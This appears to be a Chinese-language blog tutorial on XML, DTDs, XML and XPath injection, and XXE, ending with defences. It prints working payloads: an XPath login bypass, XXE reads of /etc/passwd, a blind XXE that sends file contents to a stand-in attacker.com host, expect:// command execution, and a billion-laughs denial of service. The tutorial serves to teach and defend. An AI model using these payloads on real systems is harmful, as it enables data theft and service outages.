从XML相关一步一步到XXE漏洞
字数 1964 2025-08-25 22:58:46
XML外部实体注入(XXE)漏洞详解
0x00 前言
XXE(XML External Entity Injection)全称为XML外部实体注入,是一种基于XML的安全漏洞。在学习XXE之前,需要先了解XML及其相关技术。
0x01 XML基础
什么是XML?
- XML指可扩展标记语言(EXtensible Markup Language)
- 设计宗旨是传输数据,而不是显示数据
- 是W3C的推荐标准
- 被设计用来结构化、存储以及传输信息
- 没有预定义的标签
XML与HTML的区别
| 特性 | XML | HTML |
|---|---|---|
| 目的 | 传输和存储数据 | 显示数据 |
| 焦点 | 数据内容 | 数据外观 |
| 标签 | 自定义 | 预定义 |
XML基本格式
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->
XML基本语法
- 所有XML元素都须有关闭标签
- XML标签对大小写敏感
- XML必须正确地嵌套
- XML文档必须有根元素
- XML的属性值须加引号
CDATA部分
用于包含不需要解析的文本内容:
<![CDATA[ 内容 ]]>
0x02 DTD(文档类型定义)
DTD基本概念
DTD用来为XML文档定义语义约束,可以:
- 嵌入在XML文档中(内部声明)
- 放在单独的文件中(外部引用)
- 定义哪些元素/属性是合法的
- 定义元素间的嵌套/结合关系
- 将特殊字符和可复用代码段自定义为实体
实体引用
XML预定义五个实体引用:
| 字符 | 实体引用 |
|---|---|
| < | < |
| > | > |
| & | & |
| ' | ' |
| " | " |
DTD引入方式
内部DTD
<!DOCTYPE 根元素名称 [元素声明]>
示例:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
外部DTD
- 引入本地DTD文件:
<!DOCTYPE 根元素名称 SYSTEM "dtd路径">
- 使用网络上的DTD文件:
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
PCDATA与CDATA
- PCDATA(Parsed Character Data):会被解析器解析的文本
- CDATA(Character Data):不会被解析器解析的文本
DTD实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
按实体有无参分类
- 一般实体:
<!ENTITY 实体名称 "实体内容">
引用方式:&实体名称;
- 参数实体:
<!ENTITY % 实体名称 "实体内容">
引用方式:%实体名称;
按使用方式分类
- 内部实体:
<!ENTITY 实体名称 "实体的值">
- 外部实体:
<!ENTITY 实体名称 SYSTEM "URI/URL">
或
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
支持协议:
- PHP支持的协议:file、http、https、ftp、php、compress.zlib、compress.bzip2、data、glob、phar等
- 其他语言通常支持:file、http、https、ftp
0x03 XML注入
XML注入简介
通过利用闭合标签改写XML文件实现的攻击方式。
注入实例
原始XML:
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
攻击者输入:
admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>
结果:
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<name>admin</name>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
<admin id="3">
<name>hack</name>
<password>hacker</password>
</admin>
</manager>
XML注入防御
- 对用户输入进行过滤
- 对用户输入进行转义
0x04 XPath注入
XPath注入攻击简介
利用XPath解析器的松散输入和容错特性,在URL、表单等上附带恶意XPath查询代码,获取权限信息并更改这些信息。
与SQL注入相比的优势
- 广泛性:任何使用XPath的Web应用都可能存在漏洞
- 危害性大:可以访问XML文档的所有部分,不像SQL有权限限制
XPath注入示例
原始XML:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>test1</username>
<password>test1</password>
</user>
<user>
<id>2</id>
<username>test2</username>
<password>test2</password>
</user>
</users>
</root>
PHP代码:
$xml=simplexml_load_file('test2.xml');
$name=$_GET['name'];
$pwd=$_GET['pwd'];
$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
$result=$xml->xpath($query);
攻击输入:' or 1=1 or ''='
XPath盲注
通过逐步猜测XML结构获取数据:
- 盲注根节点:
count(/*) - 猜解节点名称:
substring(name(/*[position() = 1]),1,1)='r' - 重复上述步骤获取完整结构
XPath注入防御
- 输入验证和过滤
- 参数化XPath查询
- 错误信息处理
- 数据加密
0x05 XML外部实体注入(XXE)
XXE漏洞简介
发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意外部文件和代码。
XXE本地测试环境
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>
Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///d://qwzf.txt">
]>
<xml>
<xxe>&file;</xxe>
</xml>
XXE常见利用方式
1. 读取任意文件
有回显:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<root>
<name>&file;</name>
</root>
无回显(Blind XXE):
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
%send;
]>
evil.dtd内容:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://attacker.com/?content=%file;'>"> %payload;
2. 执行系统命令
(需要安装expect扩展)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
3. 拒绝服务攻击
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
4. 探测内网端口与攻击内网网站
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>
0x06 XXE漏洞防御
-
禁用外部实体:
- PHP:
libxml_disable_entity_loader(true); - Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); - Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- PHP:
-
过滤用户提交的XML数据:
- 过滤关键字:
<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
- 过滤关键字:
-
不允许XML中含有自定义的DTD
0x07 总结
XXE漏洞是一种严重的安全威胁,可以导致敏感信息泄露、系统命令执行、拒绝服务等严重后果。开发人员应当充分了解其原理和危害,采取适当的防御措施。